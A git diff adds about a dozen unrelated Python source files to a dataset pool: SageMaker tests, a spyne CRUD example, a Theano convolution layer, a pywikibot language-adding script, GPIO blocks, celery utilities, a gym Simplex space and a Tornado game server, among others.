dlg.mainloop() + #root.wait_window(dlg) diff --git a/pool/shard008/Python/0077263_test_model_component.py b/pool/shard008/Python/0077263_test_model_component.py new file mode 100644 index 0000000000000000000000000000000000000000..f0514591f4fc7ab9c23eb209f043fc735fea8692 --- /dev/null +++ b/pool/shard008/Python/0077263_test_model_component.py @@ -0,0 +1,137 @@ +from common.sagemaker_component import SageMakerJobStatus +from model.src.sagemaker_model_spec import SageMakerCreateModelSpec +from model.src.sagemaker_model_component import SageMakerCreateModelComponent +from tests.unit_tests.tests.model.test_model_spec import CreateModelSpecTestCase +import unittest + +from unittest.mock import patch, MagicMock, ANY + + +class CreateModelComponentTestCase(unittest.TestCase): + REQUIRED_ARGS = CreateModelSpecTestCase.REQUIRED_ARGS + + @classmethod + def setUp(cls): + cls.component = SageMakerCreateModelComponent() + # Instantiate without calling Do() + cls.component._model_name = "test-model" + + @patch("model.src.sagemaker_model_component.super", MagicMock()) + def test_do_sets_name(self): + named_spec = SageMakerCreateModelSpec( + self.REQUIRED_ARGS + ["--model_name", "job-name"] + ) + + self.component.Do(named_spec) + self.assertEqual("job-name", self.component._model_name) + + def test_create_model_job(self): + spec = SageMakerCreateModelSpec(self.REQUIRED_ARGS) + request = self.component._create_job_request(spec.inputs, spec.outputs) + + self.assertEqual( + request, + { + "ModelName": "test-model", + "PrimaryContainer": { + "Image": "test-image", + "ModelDataUrl": "s3://fake-bucket/model_artifact", + "Environment": {}, + }, + "ExecutionRoleArn": "arn:aws:iam::123456789012:user/Development/product_1234/*", + "Tags": [], + "EnableNetworkIsolation": True, + }, + ) + + def test_create_model_job_arguments(self): + spec = SageMakerCreateModelSpec( + self.REQUIRED_ARGS + + [ + "--container_host_name", + "fake-host", + "--tags", + '{"fake_key": "fake_value"}', + "--vpc_security_group_ids", + "fake-ids", + "--vpc_subnets", + "fake-subnets", + ] + ) + + request = self.component._create_job_request(spec.inputs, spec.outputs) + + self.assertEqual( + request, + { + "ModelName": "test-model", + "PrimaryContainer": { + "ContainerHostname": "fake-host", + "Image": "test-image", + "ModelDataUrl": "s3://fake-bucket/model_artifact", + "Environment": {}, + }, + "ExecutionRoleArn": "arn:aws:iam::123456789012:user/Development/product_1234/*", + "Tags": [{"Key": "fake_key", "Value": "fake_value"}], + "VpcConfig": { + "SecurityGroupIds": ["fake-ids"], + "Subnets": ["fake-subnets"], + }, + "EnableNetworkIsolation": True, + }, + ) + + def test_create_model_job_model_package(self): + arguments = [ + "--region", + "us-west-2", + "--model_name", + "model_test", + "--role", + "arn:aws:iam::123456789012:user/Development/product_1234/*", + ] + + # Should not raise any exceptions + image_spec = SageMakerCreateModelSpec( + arguments + + [ + "--image", + "test-image", + "--model_artifact_url", + "s3://fake-bucket/model_artifact", + ] + ) + self.component._create_job_request(image_spec.inputs, image_spec.outputs) + + # Should not raise any exceptions + model_package_spec = SageMakerCreateModelSpec( + arguments + ["--model_package", "fake-package"] + ) + self.component._create_job_request( + model_package_spec.inputs, model_package_spec.outputs + ) + + with self.assertRaises(Exception): + bad_spec = SageMakerCreateModelSpec(arguments) + self.component._create_job_request(bad_spec.inputs, bad_spec.outputs) + with self.assertRaises(Exception): + bad_spec = SageMakerCreateModelSpec(arguments + ["--image", "test-image"]) + self.component._create_job_request(bad_spec.inputs, bad_spec.outputs) + with self.assertRaises(Exception): + bad_spec = SageMakerCreateModelSpec( + arguments + ["--model_artifact_url", "s3://fake-bucket/model_artifact"] + ) + self.component._create_job_request(bad_spec.inputs, bad_spec.outputs) + + def test_get_job_status(self): + self.assertEqual( + self.component._get_job_status(), + SageMakerJobStatus(is_completed=True, raw_status=""), + ) + + def test_after_job_completed(self): + spec = SageMakerCreateModelSpec(self.REQUIRED_ARGS) + + self.component._after_job_complete({}, {}, spec.inputs, spec.outputs) + + self.assertEqual(spec.outputs.model_name, "test-model") diff --git a/pool/shard008/Python/0077265_sql_crud.py b/pool/shard008/Python/0077265_sql_crud.py new file mode 100644 index 0000000000000000000000000000000000000000..ad0794098fde1a4d23e902a70a02dcc1685744c1 --- /dev/null +++ b/pool/shard008/Python/0077265_sql_crud.py @@ -0,0 +1,190 @@ +#!/usr/bin/env python +# encoding: utf8 +# +# Copyright © Burak Arslan , +# Arskom Ltd. http://www.arskom.com.tr +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# 3. Neither the name of the owner nor the names of its contributors may be +# used to endorse or promote products derived from this software without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY DIRECT, +# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY +# OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, +# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# + +import logging +logging.basicConfig(level=logging.DEBUG) +logging.getLogger('spyne.protocol.xml').setLevel(logging.DEBUG) +logging.getLogger('sqlalchemy.engine.base.Engine').setLevel(logging.DEBUG) + +import pytz + +from spyne import Application, rpc, Mandatory as M, Unicode, Array, Iterable, \ + UnsignedInteger32, TTableModel, Service, ResourceNotFoundError, \ + ComplexModel, UnsignedInteger8 + +from spyne.protocol.http import HttpRpc +from spyne.protocol.yaml import YamlDocument + +from spyne.util import memoize + +from spyne.server.wsgi import WsgiApplication + +from sqlalchemy import create_engine +from sqlalchemy.orm import sessionmaker + + +db = create_engine('sqlite:///:memory:') +Session = sessionmaker(bind=db) +TableModel = TTableModel() +TableModel.Attributes.sqla_metadata.bind = db + + +class Preferences(ComplexModel): + _type_info = [ + ('timezone', M(Unicode(values=pytz.all_timezones_set))), + ('font_size', UnsignedInteger8( + values_dict={10: 'Small', 20: 'Medium', 30: 'Large'}, + default=20, + )), + ('theme', Unicode( + values={'dark', 'light'}, + default='light', + )), + ] + + +class Permission(TableModel): + __tablename__ = 'permission' + __namespace__ = 'spyne.examples.sql_crud' + __table_args__ = {"sqlite_autoincrement": True} + + id = UnsignedInteger32(primary_key=True) + application = Unicode(256) + operation = Unicode(256) + + +class User(TableModel): + __tablename__ = 'user' + __namespace__ = 'spyne.examples.sql_crud' + __table_args__ = {"sqlite_autoincrement": True} + + id = UnsignedInteger32(primary_key=True) + name = Unicode(256) + first_name = Unicode(256) + last_name = Unicode(256) + permissions = Array(Permission, store_as='table') + preferences = Preferences.store_as('jsonb') + + +@memoize +def TCrudService(T, T_name): + class CrudService(Service): + @rpc(M(UnsignedInteger32), _returns=T, + _in_message_name='get_%s' % T_name, + _in_variable_names={'obj_id': "%s_id" % T_name}) + def get(ctx, obj_id): + return ctx.udc.session.query(T).filter_by(id=obj_id).one() + + @rpc(M(T), _returns=UnsignedInteger32, + _in_message_name='put_%s' % T_name, + _in_variable_names={'obj': T_name}) + def put(ctx, obj): + if obj.id is None: + ctx.udc.session.add(obj) + ctx.udc.session.flush() # so that we get the obj.id value + + else: + if ctx.udc.session.query(T).get(obj.id) is None: + # this is to prevent the client from setting the primary key + # of a new object instead of the database's own primary-key + # generator. + # Instead of raising an exception, you can also choose to + # ignore the primary key set by the client by silently doing + # obj.id = None in order to have the database assign the + # primary key the traditional way. + raise ResourceNotFoundError('%s.id=%d' % (T_name, obj.id)) + + else: + ctx.udc.session.merge(obj) + + return obj.id + + @rpc(M(UnsignedInteger32), + _in_message_name='del_%s' % T_name, + _in_variable_names={'obj_id': '%s_id' % T_name}) + def del_(ctx, obj_id): + count = ctx.udc.session.query(T).filter_by(id=obj_id).count() + if count == 0: + raise ResourceNotFoundError(obj_id) + + ctx.udc.session.query(T).filter_by(id=obj_id).delete() + + @rpc(_returns=Iterable(T), _in_message_name='get_all_%s' % T_name) + def get_all(ctx): + return ctx.udc.session.query(T) + + return CrudService + + +class UserDefinedContext(object): + def __init__(self): + self.session = Session() + + +def _on_method_call(ctx): + ctx.udc = UserDefinedContext() + + +def _on_method_return_object(ctx): + ctx.udc.session.commit() + + +def _on_method_context_closed(ctx): + if ctx.udc is not None: + ctx.udc.session.close() + + +user_service = TCrudService(User, 'user') +application = Application( + [user_service], + tns='spyne.examples.sql_crud', + in_protocol=HttpRpc(validator='soft'), + out_protocol=YamlDocument() +) + +application.event_manager.add_listener('method_call', _on_method_call) +application.event_manager.add_listener('method_return_object', + _on_method_return_object) +application.event_manager.add_listener("method_context_closed", + _on_method_context_closed) + + +if __name__ == '__main__': + from wsgiref.simple_server import make_server + + wsgi_app = WsgiApplication(application) + server = make_server('127.0.0.1', 8000, wsgi_app) + + TableModel.Attributes.sqla_metadata.create_all() + logging.info("listening to http://127.0.0.1:8000") + logging.info("wsdl is at: http://localhost:8000/?wsdl") + + server.serve_forever() diff --git a/pool/shard008/Python/0077274_convolutional.py b/pool/shard008/Python/0077274_convolutional.py new file mode 100644 index 0000000000000000000000000000000000000000..34a34088c69625e9e4c2494be9cca6e9a639fe25 --- /dev/null +++ b/pool/shard008/Python/0077274_convolutional.py @@ -0,0 +1,85 @@ +# -*- coding: utf-8 -*- +from __future__ import absolute_import + +import theano +import theano.tensor as T +from theano.tensor.signal import downsample + +from .. import activations, initializations +from ..utils.theano_utils import shared_zeros +from ..layers.core import Layer + + +# class Convolution1D(Layer): TODO + +# class MaxPooling1D(Layer): TODO + + +class Convolution2D(Layer): + def __init__(self, nb_filter, stack_size, nb_row, nb_col, + init='glorot_uniform', activation='linear', weights=None, + image_shape=None, border_mode='valid', subsample=(1,1)): + super(Convolution2D,self).__init__() + + self.init = initializations.get(init) + self.activation = activations.get(activation) + self.subsample = subsample + self.border_mode = border_mode + self.image_shape = image_shape + self.nb_filter = nb_filter + self.stack_size = stack_size + self.nb_row = nb_row + self.nb_col = nb_col + + self.input = T.tensor4() + self.W_shape = (nb_filter, stack_size, nb_row, nb_col) + self.W = self.init(self.W_shape) + self.b = shared_zeros((nb_filter,)) + + self.params = [self.W, self.b] + + if weights is not None: + self.set_weights(weights) + + def get_output(self, train): + X = self.get_input(train) + + conv_out = theano.tensor.nnet.conv.conv2d(X, self.W, + border_mode=self.border_mode, subsample=self.subsample, image_shape=self.image_shape) + output = self.activation(conv_out + self.b.dimshuffle('x', 0, 'x', 'x')) + return output + + def get_config(self): + return {"name":self.__class__.__name__, + "nb_filter":self.nb_filter, + "stack_size":self.stack_size, + "nb_row":self.nb_row, + "nb_col":self.nb_col, + "init":self.init.__name__, + "activation":self.activation.__name__, + "image_shape":self.image_shape, + "border_mode":self.border_mode, + "subsample":self.subsample} + + +class MaxPooling2D(Layer): + def __init__(self, poolsize=(2, 2), ignore_border=True): + super(MaxPooling2D,self).__init__() + self.input = T.tensor4() + self.poolsize = poolsize + self.ignore_border = ignore_border + + def get_output(self, train): + X = self.get_input(train) + output = downsample.max_pool_2d(X, self.poolsize, ignore_border=self.ignore_border) + return output + + def get_config(self): + return {"name":self.__class__.__name__, + "poolsize":self.poolsize, + "ignore_border":self.ignore_border} + + + +# class ZeroPadding2D(Layer): TODO + diff --git a/pool/shard008/Python/0077275_add_language.py b/pool/shard008/Python/0077275_add_language.py new file mode 100644 index 0000000000000000000000000000000000000000..07e71083cca2262da6ab553838cc9d35a52f0969 --- /dev/null +++ b/pool/shard008/Python/0077275_add_language.py @@ -0,0 +1,171 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +""" +Automatically adds a new language to the KSP wiki. It follows +the instructions from http://wiki.kerbalspaceprogram.com/wiki/Kerbal_Space_Program_Wiki:Adding_a_New_Language : + +1. Create MediaWiki:langlink-##, where ## is the two-letter language code. The content should be {{mw-langlink|##}} +2. Add {{mp-lang|##}} to Template:Main Page Layout/Language Box. +3. Add ** langlink-##|Language Name to MediaWiki:Sidebar under Languages. +4. Check the templates in Category:Language code templates if the language code needs to be added. +""" + +import pywikibot +import re +import sys +from string import Template +from pywikibot.page import Page, Category + +import pywikibot +from pywikibot import deprecate_arg +from pywikibot import config +from pywikibot import deprecated +from pywikibot import pagegenerators +from pywikibot.throttle import Throttle +from pywikibot.data import api +from pywikibot.exceptions import * +from pywikibot.site import LoginStatus +def login(self, sysop=False): + print "hihi" + """Log the user in if not already logged in.""" + # check whether a login cookie already exists for this user + self._loginstatus = LoginStatus.IN_PROGRESS + if hasattr(self, "_userinfo"): + del self._userinfo + self.getuserinfo() + print self.userinfo['name'] + print self._username[sysop] + print self.logged_in(sysop) +# if self.userinfo['name'] == self._username[sysop] and \ +# self.logged_in(sysop): +# return + loginMan = api.LoginManager(site=self, sysop=sysop, + user=self._username[sysop]) + if loginMan.password is None: + print "none" + print "'" + loginMan.password + "'" + +login(pywikibot.getSite()) + +def insert_alphabetically(page, regex, language_code, new, comment, suffix="\n"): + """ + Inserts the "new" into the list given in site. Each entry of the list, is matched by + "regex". This regex must have a group named "code" OR a placeholder named "code" ($code). + + This code is then checked against language_code, and if the current code is after the + language_code it adds the "new" prior to that. The new entry needs a placeholde named code + ($code). + + On both "regex" and "new" is string.Template.substitute applied. Any trailing $-signs are + automatically escaped if not done so. + """ + if re.search(r"[^$](\$\$)*\$$", regex): + regex += '$' + oldtext = page.text + compiled = re.compile(Template(regex).substitute(code=r'(?P[a-z]{2}(-[a-z]{2})?)', newline=r'(?P\n)?'), re.M) + print compiled.pattern + matches = list(compiled.finditer(oldtext)) + if len(matches) == 0: + print("No matches found.") + return False + else: + insert_at = 0 + got_to_end = False + for match in matches: + if match.group('code') == language_code: + print("Language is already available") + return False + elif match.group('code') > language_code: + insert_at = match.start() + break + else: + insert_at = match.end() + got_to_end = True + try: + if match.start('newline') < 0: + suffix = "" + else: + suffix = "\n" + except IndexError: + pass + print "here we are {}".format(insert_at) + print oldtext[insert_at] + if got_to_end and len(oldtext) > insert_at + len(suffix): + insert_at += len(suffix) + if insert_at > 0 and len(oldtext) == insert_at - len(suffix) + 1: + print "+= {}".format(len(suffix)) + oldtext += suffix + page.text = oldtext[:insert_at] + if callable(new): + page.text += new(language_code, match) + else: + page.text += Template(new).substitute(code=language_code) + suffix + page.text += oldtext[insert_at:] + print("Changes in {}:".format(page.title())) + pywikibot.showDiff(oldtext, page.text) + if pywikibot.inputChoice("Save changes?", ['Yes', 'No'], ['y', 'n'], 'n') == 'y': + page.save(comment=comment) + return True + +site = pywikibot.getSite() +language_code = None +args = iter(pywikibot.handleArgs()) +for arg in args: + if arg == "--language" or arg == "-l": + language_code = next(args, None) + if language_code is None: + print "Found language code parameter but no definition" + +if language_code is None: + print("Language code is not given.") + sys.exit(1) +elif not re.search("^[A-Za-z]{2}(-[A-Za-z]{2})?$", language_code): + print("Invalid language code format. Must be XX or XX-XX!") + sys.exit(1) +elif language_code.lower() != language_code: + language_code = language_code.lower() + print("Found capital letters in language code. Changed it to '{}'".format(language_code)) + +comment_new = "+added {}".format(language_code) + +mw_langlink = Page(site, "MediaWiki:langlink-{}".format(language_code)) +if mw_langlink.exists(): + print("'{}' already exists. Skipped creation.".format(mw_langlink.title())) +else: + mw_langlink.text = "{{{{mw-langlink|{}}}}}".format(language_code) + if pywikibot.inputChoice("Create '{}'?".format(mw_langlink.title()), ['Yes', 'No'], ['y', 'n'], 'n') == 'y': + mw_langlink.save(comment=comment_new) +insert_alphabetically(Page(site, "MediaWiki:Sidebar"), r"^\*\* langlink-$code\|.*$", language_code, "** langlink-$code|{{subst:#language:$code}}", comment_new) + +def optional_prefix(code, match=None): + ret = Template("{{mp-lang|$code}}").substitute(code=code) + "\n" + if match is None: + return ret + elif match.start() == 0: + return ret + "· " + else: + return "· " + ret + +if len(language_code) == 5 and pywikibot.inputChoice("Is this a dialect language?", ['Yes', 'No'], ['y', 'n'], 'n') == 'y': + dialects = Page(site, "Template:Main Page Layout/Language Box/dialects {}".format(language_code[:2])) + if dialects.exists(): + insert_alphabetically(dialects, r"^(?:· )?{{mp-lang\|$code}}$", language_code, optional_prefix, comment_new) + else: + dialects.text = optional_prefix(language_code) + if pywikibot.inputChoice("Create '{}'?".format(dialects.title()), ['Yes', 'No'], ['y', 'n'], 'n') == 'y': + dialects.save(comment=comment_new) + print dialects.text +else: + insert_alphabetically(Page(site, "Template:Main Page Layout/Language Box"), r"^· {{mp-lang\|$code\|{{{1\|}}}}}$", language_code, "· {{mp-lang|$code|{{{1|}}}}}", comment_new) + +code_templates = { + "lang": (r"$newline\|\s*$code\s*=\s*{{{[a-z]{2}(-[a-z]{2})?\|}}}", "| $code = {{{$code|}}}"), + "if lang": (r"$newline\|\s*$code", "|$code"), +} + +for k, v in code_templates.iteritems(): + cat = Category(site, "Category:BobBot {} type".format(k)) + print("Going through '{}'.".format(cat.title())) + for article in cat.articles(): + if article.title().startswith("Template:"): + insert_alphabetically(article, v[0], language_code, v[1], comment_new) diff --git a/pool/shard008/Python/0077278_confound.py b/pool/shard008/Python/0077278_confound.py new file mode 100644 index 0000000000000000000000000000000000000000..93970df510f081c7fab306c6cc66ddb810ef596b --- /dev/null +++ b/pool/shard008/Python/0077278_confound.py @@ -0,0 +1,42 @@ +# -*- coding: utf-8 -*- +""" +Created on Fri Apr 4 11:59:01 2014 + +@author: sb238920 +""" +import numpy as np + + +def compute_mvt_confounds(movconf_file): + """Computes mouvement confounds + + Parameters + ========== + movconf_file: path + path for the movement parameters + + Returns + ======= + confounds_data_all: array + mouvement parameters, derivatives and squares + confounds_labels: list of str + labels of the mouvement confounds + """ + confounds_data = np.loadtxt(movconf_file, dtype=float) + confounds_data = confounds_data[:, :6] + confounds_data_dt = confounds_data.copy() + for n in range(6): + conv = np.convolve(confounds_data[:, n], np.array([1., 0., -1.]) / 2, + 'valid') + confounds_data_dt[1:-1, n] = conv + confounds_data_all = np.concatenate( + (confounds_data, confounds_data_dt), axis=1) + confounds_data_all = np.concatenate( + (confounds_data_all, confounds_data ** 2), axis=1) + confounds_labels = ["trans_x", "trans_y", + "trans_z", "rot_x", "rot_y", "rot_z"] + confounds_labels_dt = ["d_" + lbl for lbl in confounds_labels] + confounds_labels_sq = ["sq_" + lbl for lbl in confounds_labels] + confounds_labels.extend(confounds_labels_dt) + confounds_labels.extend(confounds_labels_sq) + return confounds_data_all, confounds_labels diff --git a/pool/shard008/Python/0077279_gpio.py b/pool/shard008/Python/0077279_gpio.py new file mode 100644 index 0000000000000000000000000000000000000000..63f4a06920e4e2e48e28c7620e80d757be9d0b19 --- /dev/null +++ b/pool/shard008/Python/0077279_gpio.py @@ -0,0 +1,67 @@ +import Adafruit_BBIO.GPIO as GPIO + +import pyctrl.block as block + +class Input(block.BufferBlock): + + def __init__(self, + pin = 'P8_24', + *vars, **kwargs): + + # set pin + self.pin = pin + + # setup as input + GPIO.setup(self.pin, GPIO.IN) + + # call super + super().__init__(*vars, **kwargs) + + def read(self): + + #print('> read') + if self.enabled: + + # read digital pin + self.buffer = (GPIO.input(self.pin), ) + + return self.buffer + +class Output(block.BufferBlock): + + def __init__(self, + pin = 'P8_24', + *vars, **kwargs): + + # set pin + self.pin = pin + + # setup as output + GPIO.setup(self.pin, GPIO.OUT) + + # call super + super().__init__(*vars, **kwargs) + + def write(self, *values): + + #print('> read') + if self.enabled: + + # write to digital pin + GPIO.output(self.pin, values[0]) + +if __name__ == "__main__": + + import time, math + + print("> Testing GPIO input") + + input = Input(pin='P8_24') + (x,) = input.read() + + print('> GPIO {} = {:5.3f}'.format(input.pin, x)) + + print("> Testing GPIO output") + + output = Output(pin='P8_24') + input.write(1) diff --git a/pool/shard008/Python/0077282_middleware.py b/pool/shard008/Python/0077282_middleware.py new file mode 100644 index 0000000000000000000000000000000000000000..f953c32169e6f5f7952da2f75b250e8b35e22231 --- /dev/null +++ b/pool/shard008/Python/0077282_middleware.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +__author__ = 'Jiayi Li' + +from django.conf import settings + +from weblog.utils import cookie_to_user, cookie_to_view + +class CookieMiddleware(object): + + '''middleware deal with cookies before each request''' + + def __init__(self, get_response): + self.get_response = get_response + + def __call__(self, request): + cookie = request.COOKIES.get(getattr(settings, 'COOKIE_NAME', ''), 'nothing') + request.get_user = cookie_to_user(cookie) + request.get_view = cookie_to_view(cookie) + response = self.get_response(request) + return response \ No newline at end of file diff --git a/pool/shard008/Python/0077283_while.py b/pool/shard008/Python/0077283_while.py new file mode 100644 index 0000000000000000000000000000000000000000..84ce656e78b503c5e4117abc0d7546dbe2fe71da --- /dev/null +++ b/pool/shard008/Python/0077283_while.py @@ -0,0 +1,36 @@ +from polyphony import testbench + +shift_n = 8 + +def abs(x): + if x < 0 : + return -x + else: + return x + +def i_square(x): + return x * x + +def i_while(x): + epsilon = 1 + new_x = x << shift_n + guess = new_x >> 1 + old_guess = 0 + while (abs(i_square(guess) - new_x)) > epsilon: + if old_guess == guess : + break; + + old_guess = guess + guess = guess - 10 + print(guess) + + return guess + + +@testbench +def test(): + x = 25 + result = i_while(x) + print(result) + +test() diff --git a/pool/shard008/Python/0077284_setup.py b/pool/shard008/Python/0077284_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..36521d8bad993611b5089f7a302005874d88bd86 --- /dev/null +++ b/pool/shard008/Python/0077284_setup.py @@ -0,0 +1,39 @@ +# Copyright 2015-2017 Capital One Services, LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from setuptools import setup, find_packages +import os + +description = "" +if os.path.exists('README.md'): + description = open('README.md').read() + +setup( + name="c7n_salactus", + version='0.3.0', + description="Cloud Custodian - Salactus S3", + long_description=description, + classifiers=[ + "Topic :: System :: Systems Administration", + "Topic :: System :: Distributed Computing" + ], + url="https://github.com/cloud-custodian/cloud-custodian", + author="Kapil Thangavelu", + license="Apache-2.0", + packages=find_packages(), + entry_points={ + 'console_scripts': [ + 'c7n-salactus = c7n_salactus.cli:cli']}, + install_requires=["c7n", "click", "rq", "redis"], +) diff --git a/pool/shard008/Python/0077289_celeryutils.py b/pool/shard008/Python/0077289_celeryutils.py new file mode 100644 index 0000000000000000000000000000000000000000..b7666658c5f165bcea93d54ff639c87d967f2a1f --- /dev/null +++ b/pool/shard008/Python/0077289_celeryutils.py @@ -0,0 +1,94 @@ +""" +Wrapper for celery.task.Task that catches and logs errors. +""" +import functools +import itertools +import logging + +import celery.task +from celery.signals import task_failure +from django.db import connections, transaction + + +log = logging.getLogger('z.celery') + + +class Task(celery.task.Task): + + @classmethod + def apply_async(self, args=None, kwargs=None, **options): + try: + return super(Task, self).apply_async(args, kwargs, **options) + except Exception, e: + log.error('CELERY FAIL: %s' % e) + raise + + +def task(*args, **kw): + # Add yet another wrapper for committing transactions after the task. + def decorate(fun): + @functools.wraps(fun) + def wrapped(*args, **kw): + was_exception = False + try: + return fun(*args, **kw) + finally: + try: + for db in connections: + transaction.commit_unless_managed(using=db) + except: + if was_exception: + # We want to see the original exception so let's + # just log the one after that. + log.exception( + 'While trying to recover from an exception') + else: + raise + # Force usage of our Task subclass. + kw['base'] = Task + # Default to ignoring results. + if 'ignore_result' not in kw: + kw['ignore_result'] = True + return celery.task.task(**kw)(wrapped) + if args: + return decorate(*args) + else: + return decorate + + +@task_failure.connect +def process_failure_signal(exception, traceback, sender, task_id, + signal, args, kwargs, einfo, **kw): + exc_info = (type(exception), exception, traceback) + log.error( + u'Celery TASK exception: %s: %s' + % (exc_info[1].__class__.__name__, exc_info[1]), + exc_info=exc_info, + extra={ + 'data': { + 'task_id': task_id, + 'sender': sender, + 'args': args, + 'kwargs': kwargs + } + }) + + +def chunked(seq, n): + """ + Yield successive n-sized chunks from seq. + + >>> for group in chunked(range(8), 3): + ... print group + [0, 1, 2] + [3, 4, 5] + [6, 7] + + Useful for feeding celery a list of n items at a time. + """ + seq = iter(seq) + while 1: + rv = list(itertools.islice(seq, 0, n)) + if not rv: + break + yield rv diff --git a/pool/shard008/Python/0077293_merge_data.py b/pool/shard008/Python/0077293_merge_data.py new file mode 100644 index 0000000000000000000000000000000000000000..f69647008b287b431e67842ac3e1a02d9e9b081f --- /dev/null +++ b/pool/shard008/Python/0077293_merge_data.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +dir_download_data = './dbvar' # directory for the data downloaded by download_data.py + +import os +import gzip +import glob +import pickle +from sys import argv + +database = glob.glob(dir_download_data+'/*.germline.tab.gz') + +def read_file(file1,save,save_all): + file1 = gzip.open(file1) + for Line in file1: + if Line[0]!='#': + col = Line.split('\t') + if col[6]=='GRCh38': + save_all.write('\t'.join([col[0],col[2],col[7],col[9],col[10],col[11],col[12],col[13],col[14],col[45],col[8]])+'\n') + save.write('\t'.join([col[0],col[2],col[7],col[9],col[10],col[11],col[12],col[13],col[14],col[45],col[8]])+'\n') + +def main(): + os.system('mkdir merge_data') + + all_study_id = [] + for name in database: + name = name.split('/')[-1].split('_')[0] + if name not in all_study_id: + all_study_id.append(name) + save_all = open(os.path.join('merge_data','all.txt'),'w') + save_all.write('#accession_num\tvar_type\tchr\touter_start\tstart\tinner_start\tinner_stop\tstop\touter_stop\tremap_alignment\tcontig\n') + + for study_id in all_study_id: + print 'reading study',study_id + output_file = 'merge_data/'+study_id+'.txt' + save = open(output_file,'w') + save.write('#accession_num\tvar_type\tchr\touter_start\tstart\tinner_start\tinner_stop\tstop\touter_stop\tremap_alignment\tcontig\n') + file_in_study = glob.glob(dir_download_data+'/'+study_id+'*.germline.tab.gz') + for file1 in file_in_study: + read_file(file1,save,save_all) + save.close() + +main() diff --git a/pool/shard008/Python/0077305_extra_spaces.py b/pool/shard008/Python/0077305_extra_spaces.py new file mode 100644 index 0000000000000000000000000000000000000000..44ed9adcf48b2842e07df7eb3ae784ee77616d08 --- /dev/null +++ b/pool/shard008/Python/0077305_extra_spaces.py @@ -0,0 +1,57 @@ +import numpy as np +import gym + + +class Simplex(gym.Space): + """Represents a d - 1 dimensional Simplex in R^d. + + That is, all coordinates are in [0, 1] and sum to 1. + The dimension d of the simplex is assumed to be shape[-1]. + + Additionally one can specify the underlying distribution of + the simplex as a Dirichlet distribution by providing concentration + parameters. By default, sampling is uniform, i.e. concentration is + all 1s. + + Example usage: + self.action_space = spaces.Simplex(shape=(3, 4)) + --> 3 independent 4d Dirichlet with uniform concentration + """ + + def __init__(self, shape, concentration=None, dtype=np.float32): + assert type(shape) in [tuple, list] + self.shape = shape + self.dtype = dtype + self.dim = shape[-1] + + if concentration is not None: + assert concentration.shape == shape[:-1] + else: + self.concentration = [1] * self.dim + + super().__init__(shape, dtype) + self.np_random = np.random.RandomState() + + def seed(self, seed): + self.np_random.seed(seed) + + def sample(self): + return np.random.dirichlet( + self.concentration, size=self.shape[:-1]).astype(self.dtype) + + def contains(self, x): + return x.shape == self.shape and np.allclose( + np.sum(x, axis=-1), np.ones_like(x[..., 0])) + + def to_jsonable(self, sample_n): + return np.array(sample_n).tolist() + + def from_jsonable(self, sample_n): + return [np.asarray(sample) for sample in sample_n] + + def __repr__(self): + return "Simplex({}; {})".format(self.shape, self.concentration) + + def __eq__(self, other): + return np.allclose(self.concentration, + other.concentration) and self.shape == other.shape diff --git a/pool/shard008/Python/0077306_game_server.py b/pool/shard008/Python/0077306_game_server.py new file mode 100644 index 0000000000000000000000000000000000000000..49bff70e64b1d0c4d1c577ec91668eed815f63fe --- /dev/null +++ b/pool/shard008/Python/0077306_game_server.py @@ -0,0 +1,84 @@ +# -*- coding:utf-8 -*- + +__author__ = 'Leo' + +import tornado.options +import tornado.web + +from tornado.options import options + +from game.handler.basehandler import BaseHandler + +from utils.db import GameBaseDB +from game.server_manager import ServerManager + + +CREATE_TICKETS_TABLE_QUERY = ''' +CREATE TABLE IF NOT EXISTS `Tickets64_%s` ( + `id` bigint(20) unsigned NOT NULL auto_increment, + `stub` char(1) NOT NULL default '', + PRIMARY KEY (`id`), + UNIQUE KEY `stub` (`stub`) +) ENGINE=MyISAM AUTO_INCREMENT=%s +''' + + +class MainHandler(BaseHandler): + def get(self, *args, **kwargs): + print "GET MainHandler" + #REPLACE INTO Tickets64 (stub) VALUES ('a'); + print "execute =", self.db.execute(CREATE_TICKETS_TABLE_QUERY % ('002', '999999')) + entries = self.db.query("SELECT LAST_INSERT_ID() as ID;") + print "entries =", entries + self.write(str(entries)) + #self.finish() + + def post(self, *args, **kwargs): + #print "POST MainHandler" + raise tornado.web.HTTPError(404) + + +class GameApplication(tornado.web.Application): + db = None + server = ServerManager() + + def __init__(self): + self._parse_config() + + handlers = [ + (r"/*", MainHandler), + ] + + settings = dict( + debug=True, + ) + + tornado.web.Application.__init__(self, handlers, **settings) + + def _parse_config(self): + tornado.options.parse_command_line() + #print options.config, options.port, options.log_file_prefix, options.data + 